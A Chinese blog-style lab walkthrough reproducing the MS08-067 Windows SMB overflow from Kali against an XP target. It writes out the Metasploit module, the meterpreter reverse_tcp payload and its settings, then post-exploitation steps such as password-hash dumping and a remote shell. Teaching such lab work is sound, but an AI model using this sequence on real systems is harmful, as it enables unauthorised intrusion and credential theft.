MS08-067漏洞重现
(1):MS08-067远程溢出漏洞描述
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
(2) :查询MS08-067是否存在于目标靶机上:
重现此实验在局域网中实行,目标靶机是:windows xp,(注:此xp系统是2001年版本的,在msdn上下载的!)攻击机:kali-linux1.0.9;
可以先通过nmap扫描工具去扫描目标主机的端口及目标系统存在的高位漏洞,作为渗透测试的第一步:信息收集!在metasploit中调用nmap插件--script=smb-check-vulns:命令执行如下:
存在漏洞的标志:(ms08-067)
nmap扫描的结果里报告发现MS08-067:DISABLED。 这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在 Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
(3)搭建环境过程及原理分析:
1>开启xp和kali,并配置ip在同一网段(检查ping通即可);我的因为是内网,所以有ip划分的因素导致看起来不在同一网段,其实就在同一网段的;
Xp:172.25.0.95: 255.255.252.0: 网关:172.25.3.254
Kali:172.25.3.3: 255.255.252.0: 网关:172.25.3.254
2>kali开启metasploit;这个通过选项applications>kali linux>system service>metasploit>metasploit start.(执行结束如下图所示:)(注:第一段是指框架默认首先开启kali集成的postgresql数据库,第二段和第三是开启metasploit框架服务的)
3>进入metasploit的msfconsole控制台:命令msfconsole;(此过程可能得2-5分钟,因为它是在加载一些模块等等)。接着你会看到友好的欢迎页面:
4>在msf>提示符下:输入search ms08-067;查找与其相关的漏洞攻击程序;(重要信息都在红圈标记中:下面同上,就不一一提示了!)
5>输入使用该漏洞攻击程序:命令:use exploit/windows/smb/ms08_067_netapi;执行结束后如下:
6>如上我们已经驾驭了(ms08_067_netapi)这个漏洞攻击程序,哈哈!接下来我们要找一找metasploit下的有效攻击荷载(payload),那就使用命令:show payloads来查找一下吧!
本来选择如图中标记的的payload,但是为了结合书上作者第二个:meterpreter(注:这是一个metasploit框架下强大的payload)的演示我改做下面的payload,其实目的是为了显示更多的效果(ps:新手不就是为了多看到点效果么,才能杨样自得!哈哈,扯远了,就是让大家玩玩,真正的黑客可是不玩这些小伎俩的哦 QWQ);执行如下:
7>既然找到了上图的payload,那就不妨尝试一下:使用命令:set payload windows/meterpreter/reverse_tcp; 执行如下:
8>完成渗透攻击模块与攻击载荷模块的选择之后,需要查看配置渗透攻击所需的配置选项,具体命令如下:show options(方块中是空的?我在这里解释一下:RHOST:表示靶机的ip地址,我们还没设置,但是不要着急,随后设置;LHOST:肯定读者会想到这是攻击主机的ip了吧?对,读者很聪明,答案是肯定的,就是攻击主机的ip,另外,别的选项读者也可以自己试着理解一下,我就不在这里一一解释了,相信聪明的你应该可以想到!)
9>now,现在我们需要设置ip咯,设置命令:set RHOST 172.25.0.95
Set LHOST 172.25.3.3;如下所示:
10>设置完成之后我们需要知道目标靶机的系统类型,现在去查询这个payload有多少种可攻击的系统:show targets
哇!!!不错,竟然有67种的系统去攻击,那么我们应该选择哪个目标呢?不要着急,可能你不太明白你的xp到底是属于如上67种的哪一个,但你可以选择一个默认的哦;给你看:
11>你可以选择target 0,因为它是自动帮你匹配的,多省事啊!执行如下命令选择目标:set target 0
12>现在呢,我们基本已设置完成,接下来我们show一下看看自己的配置都在不?确认一下信息:(看到了吧,我们的配置没问题吧!Ip都有了啊!!!)
13>接下来就是见证奇迹的时刻了,哈哈卖个关子!!!,开始攻击:命令:exploit
吼吼!!!成功了!!!已成功拿下对方主机,那么现在你要做什么呢?好的,告诉你一句话:好戏开锣咯···
(4)是时候让你体验一下当黑客的感觉了!Hello,hacker
1>做到这里接下来就希望你能照着书上的去实现了,苦于你没机会展示的机会来了,还等什么呢?好吧,废话少说第一个“破坏”玩起!哈哈;(但是本人更喜欢从最后一个:实例5玩起!!!)
实例5:获得目标系统的屏幕截图:
(可以读懂么,它把截图放在你kali的root路径下了,我拿出来你看看)
实例4:获得系统当前的进程列表:
实例3:获得当前的工作目录和用户id:
实例2:获得目标系统的password hash(密码哈希:ps:这个我们在密码学中会学到的。。。)
实例1:获得目标系统的DOS shell:(PS:这才是黑客所关注的东西,因为有了它,什么木马,后门之类的东西都变得容易起来啦!)让我们一起来看看这个神奇的东西吧!!!
怎么样?简单的一个命令我们就拿到对方的cmd控制台了吧?爽不爽?哈哈。。。为了让你更加大开眼见,我准备了实例0来让你一爽到底···
实例0:那我就和靶机简单比较一下命令:ipconfig/all吧!!!
从靶机拿到的ipconfig/all:(简单解释一下啊kali截图中所有问号问题:那是因为汉字编码问题:可能是UTF-8的缘故吧!!!)
(5)总结:是时候结束演示了,所有的东西总是不会尽善尽美,读者想要看到的木马,后门之类的功能我并没有实现,原因是本人也是渣渣,望理解,不过这也为读者带去兴趣去搞搞了,或许你就可以实现更高级的功能,我也继续努力希望有一天可以呈现给读者是更高级的漏洞攻击!嗯,衷心的希望和读者一起努力,共筑计算机世界的安全!!!
参考文献:
《渗透测试实践指南》 (美)Patrick Engebretson著;
《网络攻防技术》 武晓飞 著;
《Metasploit渗透测试魔鬼训练营》 诸葛建伟 著;
《kali-linux渗透测试的艺术》 (英)Lee Allen;